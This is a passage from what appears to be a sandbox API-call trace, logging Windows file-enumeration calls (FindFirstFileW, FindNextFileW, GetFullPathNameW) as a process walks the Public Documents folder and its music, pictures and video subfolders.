ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.534] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0080.534] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.534] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.534] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.534] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.534] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.534] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.535] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.535] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.535] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.535] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.535] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.535] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.535] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.535] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.535] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.535] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.535] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.535] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.535] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.535] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.535] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.536] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.536] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0080.536] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\", lpFilePart=0x0) returned 0x1a [0080.536] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ea0 [0080.536] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.536] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.537] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0080.537] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.537] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.537] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.537] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.537] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.537] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.537] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.537] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.537] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.537] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.538] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.538] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.538] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.538] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.538] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.538] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.538] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.538] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.538] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.538] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.538] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.538] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.538] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0080.538] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music\\", lpFilePart=0x0) returned 0x23 [0080.539] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0080.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e830) returned 1 [0080.542] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0080.542] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.542] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.542] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.542] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.542] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.542] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.542] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.543] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.543] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.543] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.543] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.543] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.543] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.543] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.543] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.543] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.543] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.543] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.543] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.543] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.543] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.544] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.544] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0080.544] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures\\", lpFilePart=0x0) returned 0x26 [0080.544] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0080.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e830) returned 1 [0080.547] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0080.547] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.547] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.548] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.548] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.548] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.548] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.548] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.548] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.548] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.548] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.548] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.548] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.548] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.548] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.548] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.548] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.549] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", 